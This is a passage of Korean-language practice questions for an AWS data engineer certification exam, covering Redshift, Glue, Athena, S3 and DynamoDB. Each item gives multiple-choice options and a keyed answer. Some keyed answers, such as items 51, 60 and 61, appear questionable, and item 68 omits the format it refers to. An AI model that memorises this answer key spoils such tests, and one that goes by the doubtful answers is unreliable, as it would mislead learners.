  • C. S3 객체를 사용하고 필요한 열을 쿼리하기 위해 AWS Glue DataBrew 프로젝트를 준비합니다.
  • D. S3 객체에서 AWS Glue 크롤러를 실행합니다. Amazon Athena에서 SQL SELECT 문을 사용하여 필요한 열을 쿼리합니다.

정답 : B

더 이상 S3 Select 를 사용할 수 없음


50 .

한 회사가 데이터 웨어하우스에 Amazon Redshift를 사용합니다. 이 회사는 Amazon Redshift 구체화된 뷰에 대한 새로 고침 일정을 자동화해야 합니다. 어떤 솔루션이 최소한의 노력으로 이 요구 사항을 충족할까요?

  • A. Apache Airflow를 사용하여 구체화된 뷰를 새로 고칩니다.
  • B. Amazon Redshift 내에서 AWS Lambda 사용자 정의 함수(UDF)를 사용하여 구체화된 뷰를 새로 고칩니다.
  • C. Amazon Redshift의 쿼리 편집기 v2를 사용하여 구체화된 뷰를 새로 고칩니다.
  • D. AWS Glue 워크플로를 사용하여 구체화된 뷰를 새로 고칩니다.

정답 : C


51 .

데이터 엔지니어는 하나의 AWS Lambda 함수와 하나의 AWS Glue 작업으로 구성된 데이터 파이프라인을 조율해야 합니다. 솔루션은 AWS 서비스와 통합되어야 합니다. 어떤 솔루션이 가장 적은 관리 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. 상태 머신을 포함하는 AWS Step Functions 워크플로를 사용합니다. Lambda 함수를 실행한 다음 AWS Glue 작업을 실행하도록 상태 머신을 구성합니다.
  • B. Amazon EC2 인스턴스에 배포된 Apache Airflow 워크플로를 사용합니다. 첫 번째 작업이 Lambda 함수를 호출하고 두 번째 작업이 AWS Glue 작업을 호출하는 방향성 비순환 그래프(DAG)를 정의합니다.
  • C. AWS Glue 워크플로를 사용하여 Lambda 함수를 실행한 다음 AWS Glue 작업을 실행합니다.
  • D. Amazon Elastic Kubernetes Service(Amazon EKS)에 배포된 Apache Airflow 워크플로를 사용합니다. 첫 번째 작업이 Lambda 함수를 호출하고 두 번째 작업이 AWS Glue 작업을 호출하는 방향성 비순환 그래프(DAG)를 정의합니다.

정답 : C


52 .

회사는 AWS 클라우드에서 실행되는 데이터 소스에 대한 데이터 카탈로그와 메타데이터 관리를 설정해야 합니다. 회사는 데이터 카탈로그를 사용하여 데이터 저장소 세트에 있는 모든 객체의 메타데이터를 유지 관리합니다. 데이터 저장소에는 Amazon RDS 및 Amazon Redshift와 같은 구조화된 소스가 포함됩니다. 데이터 저장소에는 Amazon S3에 저장된 JSON 파일 및 .xml 파일과 같은 반구조화된 소스도 포함됩니다.
회사는 정기적으로 데이터 카탈로그를 업데이트하는 솔루션이 필요합니다. 솔루션은 또한 소스 메타데이터의 변경 사항을 감지해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. Amazon Aurora를 데이터 카탈로그로 사용합니다. 데이터 카탈로그에 연결할 AWS Lambda 함수를 만듭니다. Lambda 함수를 구성하여 여러 소스에서 메타데이터 정보를 수집하고 Aurora 데이터 카탈로그를 업데이트합니다. Lambda 함수가 주기적으로 실행되도록 예약합니다.
  • B. AWS Glue Data Catalog를 중앙 메타데이터 리포지토리로 사용합니다. AWS Glue 크롤러를 사용하여 여러 데이터 스토어에 연결하고 메타데이터 변경 사항으로 Data Catalog를 업데이트합니다. 크롤러가 주기적으로 실행되도록 예약하여 메타데이터 카탈로그를 업데이트합니다.
  • C. Amazon DynamoDB를 데이터 카탈로그로 사용합니다. 데이터 카탈로그에 연결할 AWS Lambda 함수를 만듭니다. Lambda 함수를 구성하여 여러 소스에서 메타데이터 정보를 수집하고 DynamoDB 데이터 카탈로그를 업데이트합니다. Lambda 함수가 주기적으로 실행되도록 예약합니다.
  • D. AWS Glue Data Catalog를 중앙 메타데이터 리포지토리로 사용합니다. Amazon RDS 및 Amazon Redshift 소스에 대한 스키마를 추출하고 Data Catalog를 빌드합니다. Amazon S3에 있는 데이터에 대해 AWS Glue 크롤러를 사용하여 스키마를 유추하고 Data Catalog를 자동으로 업데이트합니다.

정답 : B


53 .

한 회사가 프로비저닝된 용량 모드로 작동하는 Amazon DynamoDB 테이블에 애플리케이션의 데이터를 저장합니다. 애플리케이션의 워크로드는 정기적으로 예측 가능한 처리량 부하를 갖습니다. 매주 월요일 아침 일찍 활동이 즉시 증가합니다. 주말에는 애플리케이션 사용량이 매우 낮습니다.
회사는 애플리케이션이 최대 사용 시간 동안 일관되게 수행되도록 해야 합니다.
어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적인 방식으로 충족할까요?

  • A. 프로비저닝된 용량을 현재 최대 부하 시간 동안 존재하는 최대 용량으로 늘립니다.
  • B. 테이블을 두 개의 테이블로 나눕니다. 각 테이블에 원래 테이블의 프로비저닝된 용량의 절반을 프로비저닝합니다. 두 테이블에 쿼리를 균등하게 분산합니다.
  • C. AWS Application Auto Scaling을 사용하여 피크 사용 시간에 더 높은 프로비저닝 용량을 예약합니다. 비수요 시간에는 더 낮은 용량을 예약합니다.
  • D. 용량 모드를 프로비저닝에서 온디맨드로 변경합니다. 테이블의 부하에 따라 테이블을 확장 및 축소하도록 구성합니다.

정답 : C

https://docs.aws.amazon.com/wellarchitected/latest/serverless-applications-lens/capacity.html

비교적 예측 가능한 애플리케이션 트래픽이 있고, 트래픽이 일정하며 점진적으로 증가 또는 감소하는 애플리케이션을 실행하는 경우 프로비저닝 모드를 사용하면서 Auto Scailing 옵션을 사용하는 것을 권장한다. Auto Scailing 옵션은 실제 작업 부하가 몇 분 동안 지속적으로 상승하거나 하락할 때 유용하다.


54 . 

한 회사가 온프레미스 Apache Hadoop 클러스터를 Amazon EMR로 마이그레이션할 계획입니다. 이 회사는 또한 데이터 카탈로그를 영구 스토리지 솔루션으로 마이그레이션해야 합니다. 이 회사는 현재 Hadoop 클러스터의 온프레미스 Apache Hive 메타스토어에 데이터 카탈로그를 저장하고 있습니다. 이 회사는 데이터 카탈로그를 마이그레이션하기 위해 서버리스 솔루션이 필요합니다.
어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

  • A. AWS Database Migration Service(AWS DMS)를 사용하여 Hive 메타스토어를 Amazon S3로 마이그레이션합니다. AWS Glue Data Catalog를 구성하여 Amazon S3를 스캔하여 데이터 카탈로그를 생성합니다.
  • B. Amazon EMR에서 Hive 메타스토어를 구성합니다. 기존 온프레미스 Hive 메타스토어를 Amazon EMR로 마이그레이션합니다. AWS Glue Data Catalog를 사용하여 회사의 데이터 카탈로그를 외부 데이터 카탈로그로 저장합니다.
  • C. Amazon EMR에서 외부 Hive 메타스토어를 구성합니다. 기존 온프레미스 Hive 메타스토어를 Amazon EMR로 마이그레이션합니다. Amazon Aurora MySQL을 사용하여 회사의 데이터 카탈로그를 저장합니다.
  • D. Amazon EMR에서 새로운 Hive 메타스토어를 구성합니다. 기존 온프레미스 Hive 메타스토어를 Amazon EMR로 마이그레이션합니다. 새로운 메타스토어를 회사의 데이터 카탈로그로 사용합니다.

정답 : B


55 .

한 회사에서 Amazon Redshift 프로비저닝 클러스터를 데이터베이스로 사용합니다. Redshift 클러스터에는 예약된 ra3.4xlarge 노드 5개가 있으며 키 분배를 사용합니다.
데이터 엔지니어는 노드 중 하나가 자주 90%를 넘는 CPU 부하를 갖는다는 것을 알아챘습니다. 노드에서 실행되는 SQL 쿼리는 대기열에 추가됩니다. 다른 4개 노드는 일반적으로 일상적인 작업 중에 CPU 부하가 15% 미만입니다.
데이터 엔지니어는 현재 컴퓨팅 노드 수를 유지하려고 합니다. 또한 데이터 엔지니어는 5개 컴퓨팅 노드 전체에 부하를 보다 균등하게 분산하려고 합니다.
어떤 솔루션이 이러한 요구 사항을 충족할까요?

  • A. SQL SELECT 문의 WHERE 절에서 가장 자주 사용되는 데이터 열로 정렬 키를 변경합니다.
  • B. 가장 큰 차원을 갖는 테이블 열로 배포 키를 변경합니다.
  • C. 예약된 노드를 ra3.4xlarge에서 ra3.16xlarge로 업그레이드합니다.
  • D. SQL SELECT 문의 WHERE 절에서 가장 자주 사용되는 데이터 열이 기본 키가 되도록 변경합니다.

정답 : B

정렬 키는 데이터 저장 순서를 결정하고 특정 쿼리에 대한 쿼리 성능을 개선할 수 있지만, 노드 간 데이터 분포에는 직접적인 영향을 미치지 않는다. 따라서 이는 불균일한 CPU 부하 문제를 해결하지 못한다.


56 .

보안 회사는 JSON 형식의 IoT 데이터를 Amazon S3 버킷에 저장합니다. 회사에서 IoT 기기를 업그레이드하면 데이터 구조가 변경될 수 있습니다. 회사는 IoT 데이터를 포함하는 데이터 카탈로그를 만들고자 합니다. 회사의 분석 부서는 데이터 카탈로그를 사용하여 데이터를 색인화합니다.
어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

  • A. AWS Glue 데이터 카탈로그를 만듭니다. AWS Glue 스키마 레지스트리를 구성합니다. 분석 부서가 Amazon Redshift Serverless로 사용할 데이터의 수집을 조정하기 위해 새로운 AWS Glue 워크로드를 만듭니다.
  • B. Amazon Redshift 프로비저닝 클러스터를 만듭니다. 분석 부서가 Amazon S3에 있는 데이터를 탐색할 수 있도록 Amazon Redshift Spectrum 데이터베이스를 만듭니다. Redshift 저장 프로시저를 만들어 데이터를 Amazon Redshift에 로드합니다.
  • C. Amazon Athena 작업 그룹을 만듭니다. Athena를 통해 Apache Spark를 사용하여 Amazon S3에 있는 데이터를 탐색합니다. 분석 부서에 Athena 작업 그룹 스키마와 테이블을 제공합니다.
  • D. AWS Glue 데이터 카탈로그를 만듭니다. AWS Glue 스키마 레지스트리를 구성합니다. Amazon Redshift Data API를 사용하여 AWS Lambda 사용자 정의 함수(UDF)를 만듭니다. 분석 부서가 Amazon Redshift Serverless로 사용할 데이터의 수집을 조정하기 위한 AWS Step Functions 작업을 만듭니다.

정답 : A


57 .

한 회사가 Amazon S3 버킷에 거래에 대한 세부 정보를 저장합니다. 이 회사는 S3 버킷에 대한 모든 쓰기를 동일한 AWS 리전에 있는 다른 S3 버킷에 기록하려고 합니다.
어떤 솔루션이 최소한의 운영 노력으로 이 요구 사항을 충족할까요?

  • A. 트랜잭션 S3 버킷의 모든 활동에 대해 S3 이벤트 알림 규칙을 구성하여 AWS Lambda 함수를 호출합니다. Lambda 함수를 프로그래밍하여 이벤트를 Amazon Kinesis Data Firehose에 씁니다. Kinesis Data Firehose를 구성하여 이벤트를 로그 S3 버킷에 씁니다.
  • B. AWS CloudTraiL에서 관리 이벤트의 트레일을 만듭니다. 트랜잭션 S3 버킷에서 데이터를 수신하도록 트레일을 구성합니다. 빈 접두사와 쓰기 전용 이벤트를 지정합니다. 대상 버킷으로 로그 S3 버킷을 지정합니다.
  • C. 트랜잭션 S3 버킷의 모든 활동에 대한 S3 이벤트 알림 규칙을 구성하여 AWS Lambda 함수를 호출합니다. Lambda 함수를 프로그래밍하여 이벤트를 로그 S3 버킷에 씁니다.
  • D. AWS CloudTraiL에서 데이터 이벤트의 트레일을 만듭니다. 트랜잭션 S3 버킷에서 데이터를 수신하도록 트레일을 구성합니다. 빈 접두사와 쓰기 전용 이벤트를 지정합니다. 대상 버킷으로 로그 S3 버킷을 지정합니다.

정답 : D


58 .

데이터 엔지니어는 사용자가 Amazon EMR 및 Amazon Athena 쿼리를 통해 액세스하는 중앙 메타데이터 리포지토리를 유지 관리해야 합니다. 리포지토리는 많은 테이블의 스키마와 속성을 제공해야 합니다. 일부 메타데이터는 Apache Hive에 저장됩니다. 데이터 엔지니어는 Hive에서 중앙 메타데이터 리포지토리로 메타데이터를 가져와야 합니다.
어떤 솔루션이 최소한의 개발 노력으로 이러한 요구 사항을 충족할까요?

  • A. Amazon EMR과 Apache Ranger를 사용하세요.
  • B. EMR 클러스터에서 Hive 메타스토어를 사용합니다.
  • C. AWS Glue 데이터 카탈로그를 사용합니다.
  • D. Amazon RDS for MySQL DB 인스턴스에서 메타스토어를 사용합니다.

정답 : C


59 .

회사는 AWS에 데이터 레이크를 구축해야 합니다. 회사는 특정 팀에 행 수준 데이터 액세스와 열 수준 데이터 액세스를 제공해야 합니다. 팀은 Amazon Athena, Amazon Redshift Spectrum, Amazon EMR의 Apache Hive를 사용하여 데이터에 액세스합니다.
어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. 데이터 레이크 스토리지에 Amazon S3를 사용합니다. S3 액세스 정책을 사용하여 행과 열로 데이터 액세스를 제한합니다. Amazon S3를 통해 데이터 액세스를 제공합니다.
  • B. 데이터 레이크 스토리지에 Amazon S3를 사용합니다. Amazon EMR을 통해 Apache Ranger를 사용하여 행과 열로 데이터 액세스를 제한합니다. Apache Pig를 사용하여 데이터 액세스를 제공합니다.
  • C. 데이터 레이크 스토리지에 Amazon Redshift를 사용합니다. Redshift 보안 정책을 사용하여 행과 열로 데이터 액세스를 제한합니다. Apache Spark 및 Amazon Athena 페더레이션 쿼리를 사용하여 데이터 액세스를 제공합니다.
  • D. 데이터 레이크 스토리지에 Amazon S3를 사용합니다. AWS Lake Formation을 사용하여 행과 열로 데이터 액세스를 제한합니다. AWS Lake Formation을 통해 데이터 액세스를 제공합니다.

정답 : D


60 .

항공사에서 분석을 위해 비행 활동에 대한 지표를 수집하고 있습니다. 이 회사는 분석이 회사에서 정시 출발을 늘리는 데 사용할 수 있는 통찰력을 어떻게 제공할 수 있는지 보여주기 위해 개념 증명(POC) 테스트를 실시하고 있습니다.
POC 테스트는 .csv 형식의 지표가 포함된 Amazon S3의 객체를 사용합니다. POC 테스트는 Amazon Athena를 사용하여 데이터를 쿼리합니다. 데이터는 S3 버킷에서 날짜별로 분할됩니다.
데이터 양이 증가함에 따라 이 회사는 쿼리 성능을 개선하기 위해 스토리지 솔루션을 최적화하려고 합니다.
이러한 요구 사항을 충족하는 솔루션 조합은 무엇입니까? (두 가지를 선택하십시오.)

  • A. Amazon S3의 키 시작 부분에 무작위 문자열을 추가하여 파티션 전체에서 처리량을 늘립니다.
  • B. Athena를 사용하여 데이터를 쿼리하는 것과 동일한 계정에 있는 S3 버킷을 사용합니다.
  • C. 회사에서 Athena 쿼리를 실행하는 것과 동일한 AWS 지역에 있는 S3 버킷을 사용합니다.
  • D. 쿼리에 필요한 문서 키만 가져와 .csv 데이터를 JSON 형식으로 사전 처리합니다.
  • E. 술어에 필요한 데이터 블록만 가져와서 .csv 데이터를 Apache Parquet 형식으로 사전 처리합니다.

정답 : A, E

https://aws.amazon.com/ko/blogs/big-data/top-10-performance-tuning-tips-for-amazon-athena/


61 . 

한 회사가 중요한 애플리케이션의 데이터베이스로 Amazon RDS for MySQL을 사용합니다. 데이터베이스 워크로드는 대부분 쓰기이고, 읽기는 적습니다.
데이터 엔지니어는 DB 인스턴스의 CPU 사용률이 매우 높다는 것을 알아챘습니다. 높은 CPU 사용률로 인해 애플리케이션 속도가 느려집니다. 데이터 엔지니어는 DB 인스턴스의 CPU 사용률을 줄여야 합니다.
이 요구 사항을 충족하기 위해 데이터 엔지니어는 어떤 조치를 취해야 합니까? (두 가지를 선택하세요.)

  • A. Amazon RDS의 Performance Insights 기능을 사용하여 CPU 사용률이 높은 쿼리를 식별합니다. 문제가 있는 쿼리를 최적화합니다.
  • B. 추가 테이블과 인덱스를 포함하도록 데이터베이스 스키마를 수정합니다.
  • C. 매주 한 번씩 RDS DB 인스턴스를 재부팅합니다.
  • D. 더 큰 인스턴스 크기로 업그레이드합니다.
  • E. 데이터베이스 쿼리 부하를 줄이기 위해 캐싱을 구현합니다.

답 : A, D


62 .

한 회사에서 6개월 동안 Orders라는 Amazon Redshift 테이블을 사용했습니다. 이 회사는 테이블에서 매주 업데이트와 삭제를 수행합니다. 이 테이블에는 AWS Regions가 포함된 열에 인터리브 정렬 키가 있습니다.
이 회사는 스토리지 공간이 부족해지지 않도록 디스크 공간을 회수하려고 합니다. 또한 정렬 키 열을 분석하려고 합니다.
이러한 요구 사항을 충족하는 Amazon Redshift 명령은 무엇입니까?

  • A. VACUUM FULL
  • B. VACUUM DELETE ONLY
  • C. VACUUM REINDEX
  • D. VACUUM SORT ONLY

정답 : C


63 .

제조 회사가 센서에서 데이터를 수집하려고 합니다. 데이터 엔지니어는 거의 실시간으로 센서 데이터를 수집하는 솔루션을 구현해야 합니다.
솔루션은 데이터를 영구 데이터 저장소에 저장해야 합니다. 솔루션은 데이터를 중첩된 JSON 형식으로 저장해야 합니다. 회사는 10밀리초 미만의 지연 시간으로 데이터 저장소에서 쿼리할 수 있어야 합니다.
어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. 자체 호스팅 Apache Kafka 클러스터를 사용하여 센서 데이터를 캡처합니다. 쿼리를 위해 Amazon S3에 데이터를 저장합니다.
  • B. AWS Lambda를 사용하여 센서 데이터를 처리합니다. 쿼리를 위해 Amazon S3에 데이터를 저장합니다.
  • C. Amazon Kinesis Data Streams를 사용하여 센서 데이터를 캡처합니다. 쿼리를 위해 Amazon DynamoDB에 데이터를 저장합니다.
  • D. Amazon Simple Queue Service(Amazon SQS)를 사용하여 들어오는 센서 데이터를 버퍼링합니다. AWS Glue를 사용하여 쿼리를 위해 Amazon RDS에 데이터를 저장합니다.

정답 : C


64 .

한 회사가 Amazon S3에 있는 데이터 레이크에 데이터를 저장합니다. 회사가 데이터 레이크에 저장하는 일부 데이터에는 개인 식별 정보(PII)가 포함되어 있습니다. 여러 사용자 그룹이 원시 데이터에 액세스해야 합니다. 회사는 사용자 그룹이 필요한 PII에만 액세스할 수 있도록 해야 합니다. 어떤 솔루션이 최소한의 노력으로 이러한 요구 사항을 충족할까요?

  • A. Amazon Athena를 사용하여 데이터를 쿼리합니다. AWS Lake Formation을 설정하고 데이터 필터를 만들어 회사의 IAM 역할에 대한 액세스 수준을 설정합니다. 각 사용자에게 사용자의 PII 액세스 요구 사항과 일치하는 IAM 역할을 할당합니다.
  • B. Amazon QuickSight를 사용하여 데이터에 액세스합니다. QuickSight의 열 수준 보안 기능을 사용하여 Amazon Athena를 사용하여 사용자가 Amazon S3에서 검색할 수 있는 PII를 제한합니다. 사용자의 PII 액세스 요구 사항에 따라 QuickSight 액세스 수준을 정의합니다.
  • C. 데이터에 액세스하기 위해 백그라운드에서 Athena 쿼리를 실행하는 사용자 지정 쿼리 빌더 UI를 빌드합니다. Amazon Cognito에서 사용자 그룹을 만듭니다. 사용자의 PII 액세스 요구 사항에 따라 사용자 그룹에 액세스 수준을 할당합니다.
  • D. 세분화된 액세스 수준이 다른 IAM 역할을 만듭니다. IAM 역할을 IAM 사용자 그룹에 할당합니다. ID 기반 정책을 사용하여 열 수준에서 사용자 그룹에 액세스 수준을 할당합니다.

정답 : A


65 .

데이터 엔지니어는 10개의 소스 시스템에서 데이터를 처리하고 Amazon Redshift 데이터베이스에 있는 10개의 테이블로 로드하기 위한 추출, 변환 및 로드(ETL) 파이프라인을 구축해야 합니다. 모든 소스 시스템은 15분마다 .csv, JSON 또는 Apache Parquet 파일을 생성합니다. 모든 소스 시스템은 하나의 Amazon S3 버킷으로 파일을 전달합니다. 파일 크기는 10MB에서 20GB까지입니다. ETL 파이프라인은 데이터 스키마가 변경되어도 올바르게 작동해야 합니다.
어떤 데이터 파이프라인 솔루션이 이러한 요구 사항을 충족할까요? (두 가지를 선택하세요.)

  • A. Amazon EventBridge 규칙을 사용하여 15분마다 AWS Glue 작업을 실행합니다. AWS Glue 작업을 구성하여 데이터를 처리하고 Amazon Redshift 테이블에 로드합니다.
  • B. Amazon EventBridge 규칙을 사용하여 15분마다 AWS Glue 워크플로 작업을 호출합니다. AWS Glue 워크플로를 구성하여 AWS Glue 크롤러를 실행한 다음 크롤러가 성공적으로 실행을 마치면 AWS Glue 작업을 실행하는 주문형 트리거를 갖도록 합니다. AWS Glue 작업을 구성하여 데이터를 처리하고 Amazon Redshift 테이블에 로드합니다.
  • C. 파일이 S3 버킷에 로드될 때 AWS Glue 크롤러를 호출하도록 AWS Lambda 함수를 구성합니다. 데이터를 처리하고 Amazon Redshift 테이블에 로드하도록 AWS Glue 작업을 구성합니다. AWS Glue 작업을 실행하는 두 번째 Lambda 함수를 만듭니다. AWS Glue 크롤러가 성공적으로 실행을 완료하면 두 번째 Lambda 함수를 호출하는 Amazon EventBridge 규칙을 만듭니다.
  • D. 파일이 S3 버킷에 로드될 때 AWS Glue 워크플로를 호출하도록 AWS Lambda 함수를 구성합니다. AWS Glue 워크플로를 구성하여 AWS Glue 크롤러를 실행한 다음 크롤러가 성공적으로 실행을 마치면 AWS Glue 작업을 실행하는 주문형 트리거를 갖도록 합니다. AWS Glue 작업을 구성하여 데이터를 처리하고 Amazon Redshift 테이블에 로드합니다.
  • E. S3 버킷에 파일이 로드될 때 AWS Glue 작업을 호출하도록 AWS Lambda 함수를 구성합니다. AWS Glue 작업을 구성하여 S3 버킷에서 Apache Spark DataFrame으로 파일을 읽습니다. AWS Glue 작업을 구성하여 DataFrame의 더 작은 파티션도 Amazon Kinesis Data Firehose 전송 스트림에 넣습니다. 전송 스트림을 구성하여 Amazon Redshift 테이블에 데이터를 로드합니다.

정답 : A, B


66 .

금융 회사가 Amazon Athena를 사용하여 페타바이트 규모의 데이터 세트에서 온디맨드 SQL 쿼리를 실행하여 비즈니스 인텔리전스(BI) 애플리케이션을 지원하려고 합니다. 비업무 시간에 실행되는 AWS Glue 작업은 매일 한 번씩 데이터 세트를 업데이트합니다. BI 애플리케이션은 회사 정책을 준수하기 위해 표준 데이터 새로 고침 빈도가 1시간입니다.
데이터 엔지니어는 추가 인프라 비용을 추가하지 않고도 회사의 Amazon Athena 사용을 비용 최적화하려고 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. 1일 후에 S3 Glacier Deep Archive 스토리지 클래스로 데이터를 이동하도록 Amazon S3 수명 주기 정책을 구성합니다.
  • B. SQL 쿼리에 Amazon Athena의 쿼리 결과 재사용 기능을 사용합니다.
  • C. BI 애플리케이션과 Athena 사이에 Amazon ElastiCache 클러스터를 추가합니다.
  • D. 데이터 세트에 있는 파일의 형식을 Apache Parquet으로 변경합니다.

정답 : B


67 .

회사의 데이터 엔지니어는 테이블 SQL 쿼리의 성능을 최적화해야 합니다. 회사는 Amazon Redshift 클러스터에 데이터를 저장합니다. 데이터 엔지니어는 예산 제약으로 인해 클러스터 크기를 늘릴 수 없습니다.
회사는 여러 테이블에 데이터를 저장하고 EVEN 분산 스타일을 사용하여 데이터를 로드합니다. 일부 테이블은 크기가 수백 기가바이트입니다. 다른 테이블은 크기가 10MB 미만입니다. 어떤 솔루션이 이러한 요구 사항을 충족할까요?

  • A. 모든 테이블에 EVEN 분포 스타일을 계속 사용합니다. 모든 테이블에 기본 키와 외래 키를 지정합니다.
  • B. 큰 테이블에는 ALL 분포 스타일을 사용합니다. 모든 테이블에 기본 키와 외래 키를 지정합니다.
  • C. 드물게 업데이트되는 작은 테이블에는 ALL 분포 스타일을 사용합니다. 모든 테이블에 대한 기본 키와 외래 키를 지정합니다.
  • D. 모든 테이블에 대한 분포, 정렬 및 파티션 키의 조합을 지정합니다.

정답 : C


68 .

한 회사가 물리적 주소 데이터가 포함된 .csv 파일을 받습니다. 이 데이터는 Door_No, Street_Name, City, Zip_Code라는 이름의 열에 있습니다. 이 회사는 다음 형식으로 이러한 값을 저장하는 단일 열을 만들고자 합니다.
어떤 솔루션이 가장 적은 코딩 노력으로 이 요구 사항을 충족할까요?

  • A. AWS Glue DataBrew를 사용하여 파일을 읽습니다. NEST_TO_ARRAY 변환을 사용하여 새 열을 만듭니다.
  • B. AWS Glue DataBrew를 사용하여 파일을 읽습니다. NEST_TO_MAP 변환을 사용하여 새 열을 만듭니다.
  • C. AWS Glue DataBrew를 사용하여 파일을 읽습니다. PIVOT 변환을 사용하여 새 열을 만듭니다.
  • D. Python에서 파일을 읽는 Lambda 함수를 작성합니다. Python 데이터 사전 유형을 사용하여 새 열을 만듭니다.

정답 : B


69 .

한 회사가 민감한 고객 정보가 포함된 Amazon S3 객체로 통화 기록을 수신합니다. 회사는 암호화를 사용하여 S3 객체를 보호해야 합니다. 또한 회사는 특정 직원만 액세스할 수 있는 암호화 키를 사용해야 합니다.
어떤 솔루션이 최소한의 노력으로 이러한 요구 사항을 충족할까요?

  • A. AWS CloudHSM 클러스터를 사용하여 암호화 키를 저장합니다. Amazon S3에 쓰는 프로세스를 구성하여 CloudHSM에 대한 호출을 만들어 객체를 암호화하고 복호화합니다. CloudHSM 클러스터에 대한 액세스를 제한하는 IAM 정책을 배포합니다.
  • B. 고객 제공 키(SSE-C)를 사용하여 서버 측 암호화를 사용하여 고객 정보가 포함된 객체를 암호화합니다. 객체를 암호화하는 키에 대한 액세스를 제한합니다.
  • C. AWS KMS 키(SSE-KMS)를 사용하여 서버 측 암호화를 사용하여 고객 정보가 포함된 객체를 암호화합니다. 객체를 암호화하는 KMS 키에 대한 액세스를 제한하는 IAM 정책을 구성합니다.
  • D. Amazon S3 관리 키(SSE-S3)를 사용하여 서버 측 암호화를 사용하여 고객 정보가 포함된 객체를 암호화합니다. 객체를 암호화하는 Amazon S3 관리 키에 대한 액세스를 제한하는 IAM 정책을 구성합니다.

정답 : C


70 .

한 회사가 S3 Standard 스토리지 클래스의 수천 개의 Amazon S3 버킷에 페타바이트 규모의 데이터를 저장합니다. 이 데이터는 예측 불가능하고 가변적인 데이터 액세스 패턴을 가진 분석 워크로드를 지원합니다.
이 회사는 몇 달 동안 일부 데이터에 액세스하지 않습니다. 그러나 이 회사는 밀리초 이내에 모든 데이터를 검색할 수 있어야 합니다. 이 회사는 S3 스토리지 비용을 최적화해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. S3 Storage Lens 표준 메트릭을 사용하여 객체를 더 비용 최적화된 스토리지 클래스로 옮길 시기를 결정합니다. S3 버킷에 대한 S3 수명 주기 정책을 만들어 객체를 비용 최적화된 스토리지 클래스로 옮깁니다. 향후에도 S3 수명 주기 정책을 계속 개선하여 스토리지 비용을 최적화합니다.
  • B. S3 Storage Lens 활동 메트릭을 사용하여 회사에서 드물게 액세스하는 S3 버킷을 식별합니다. 데이터의 나이에 따라 S3 Standard에서 S3 Standard-Infrequent Access(S3 Standard-IA) 및 S3 Glacier 스토리지 클래스로 객체를 이동하도록 S3 Lifecycle 규칙을 구성합니다.
  • C. S3 Intelligent-Tiering을 사용합니다. Deep Archive Access 계층을 활성화합니다.
  • D. S3 Intelligent-Tiering을 사용합니다. 기본 액세스 계층을 사용합니다.

정답 : D


71 .

보안 검토 중에 한 회사가 AWS Glue 작업에서 취약점을 발견했습니다. 이 회사는 Amazon Redshift 클러스터에 액세스하는 자격 증명이 작업 스크립트에 하드 코딩되어 있음을 발견했습니다.
데이터 엔지니어는 AWS Glue 작업의 보안 취약점을 수정해야 합니다. 솔루션은 자격 증명을 안전하게 저장해야 합니다.
데이터 엔지니어는 이러한 요구 사항을 충족하기 위해 어떤 단계 조합을 취해야 합니까? (두 가지를 선택하세요.)

  • A. AWS Glue 작업 매개변수에 자격 증명을 저장합니다.
  • B. Amazon S3 버킷에 있는 구성 파일에 자격 증명을 저장합니다.
  • C. AWS Glue 작업을 사용하여 Amazon S3 버킷에 있는 구성 파일에서 자격 증명에 액세스합니다.
  • D. AWS Secrets Manager에 자격 증명을 저장합니다.
  • E. AWS Glue 작업 IAM 역할에 저장된 자격 증명에 대한 액세스 권한을 부여합니다.

정답 : D, E


72 .

데이터 엔지니어는 Amazon Redshift를 사용하여 매달 한 번 리소스 집약적 분석 프로세스를 실행합니다. 매달 데이터 엔지니어는 새로운 Redshift 프로비저닝 클러스터를 만듭니다. 데이터 엔지니어는 매달 분석 프로세스가 완료된 후 Redshift 프로비저닝 클러스터를 삭제합니다. 데이터 엔지니어는 매달 클러스터를 삭제하기 전에 클러스터에서 Amazon S3 버킷으로 백업 데이터를 언로드합니다. 데이터 엔지니어는
인프라를 수동으로 관리할 필요가 없는 월별 분석 프로세스를 실행하는 솔루션이 필요합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. 분석 프로세스가 완료되면 Amazon Step Functions를 사용하여 Redshift 클러스터를 일시 중지하고 매달 새 프로세스를 실행하기 위해 클러스터를 재개합니다.
  • B. Amazon Redshift Serverless를 사용하여 분석 워크로드를 자동으로 처리합니다.
  • C. AWS CLI를 사용하여 분석 워크로드를 자동으로 처리합니다.
  • D. AWS CloudFormation 템플릿을 사용하여 분석 워크로드를 자동으로 처리합니다.

정답 : B


73 .

한 회사가 .xls 형식의 고객 데이터가 포함된 일별 파일을 받습니다. 이 회사는 이 파일을 Amazon S3에 저장합니다. 일별 파일의 크기는 약 2GB입니다.
데이터 엔지니어가 고객 이름이 포함된 파일의 열과 고객 성이 포함된 열을 연결합니다. 데이터 엔지니어는 파일에 있는 고유한 고객 수를 파악해야 합니다.
어떤 솔루션이 최소한의 운영 노력으로 이 요구 사항을 충족할까요?

  • A. AWS Glue 노트북에서 Apache Spark 작업을 만들고 실행합니다. S3 파일을 읽고 고유한 고객 수를 계산하도록 작업을 구성합니다.
  • B. AWS Glue 크롤러를 만들어 S3 파일의 AWS Glue 데이터 카탈로그를 만듭니다. Amazon Athena에서 SQL 쿼리를 실행하여 고유한 고객 수를 계산합니다.
  • C. Amazon EMR Serverless에서 Apache Spark 작업을 생성하고 실행하여 고유 고객 수를 계산합니다.
  • D. AWS Glue DataBrew를 사용하여 COUNT_DISTINCT 집계 함수를 사용하여 고유 고객 수를 계산하는 레시피를 만듭니다.

정답 : D


74 .

의료 회사가 Amazon Kinesis Data Streams를 사용하여 웨어러블 기기, 병원 장비 및 환자 기록에서 실시간 건강 데이터를 스트리밍합니다.
